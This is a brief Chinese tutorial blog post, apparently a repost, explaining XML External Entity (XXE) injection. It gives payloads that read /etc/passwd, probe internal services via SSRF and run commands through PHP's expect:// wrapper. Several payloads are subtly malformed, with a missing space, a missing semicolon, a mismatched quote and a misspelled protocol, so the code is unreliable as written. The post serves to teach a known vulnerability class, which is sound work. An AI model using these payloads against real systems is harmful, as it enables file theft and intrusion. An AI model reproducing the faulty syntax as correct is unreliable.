XXE 咖面-六娃

Posted l0nmar

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE 咖面-六娃相关的知识,希望对你有一定的参考价值。

XXE 概述

  • XXE也叫做XML外部实体注入[XML External Entity] , 当XML允许引用外部实体并解析时,会导致攻击者构造恶意实体的payloadj进行攻注入攻击,导致攻击者可以读取任意文件、执行命令、攻击网站、以及进行SSRF攻击等

XML基础

  • XML声明: < ?xml version="1.0" encoding= "utf-8"?>

  • 内部DTD声明: <!DOCTYPE根元素名称[元素声明] >

  • 外部实体声明: <!ENTITY实体名称SYSTEM "URI/URL" >

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY testSYSTEM "php协议">
]>

PHP协议概述

  • 进行XXE漏洞测试时,除了一些基本的XML基础.根据不同的环境,需要了解不同的协议,如PHP协议:
  • PHP支持的协议: file:// http:// ft:// php:// zlib:// data:// glob:// phar:// ssh2:// rar:// ogg:// expect://

xml危害一 [任意文件的读取]

<!--先定义 -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<!--再引用 -->
<x>&test</x>
  • 读取php文件:先对文件内容base64编码

ssrf [内网探测]

<?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:3306*> ]> <c>&b;</c>

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEa[ <!ENTITY b SYSTEM "http://127.0.0.1/1.txt"> ]> <c>&b;</c>

命令执行

  • expect:// 处理交互式的流 (默认不按照的)
<?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "expect://./test"> ]> <c>&b;</c>

以上是关于XXE 咖面-六娃的主要内容,如果未能解决你的问题,请参考以下文章

XML引用外部实体触发XXE漏洞

域前置,水太深,偷学六娃来隐身

CSRF与多种漏洞的组合出击 | 咖面62期 预告

XSS-Fuzz的艺术丨咖面100期

php反序列化漏洞-咖面Amber

机器学习解锁验证码识别新姿势 | 咖面44期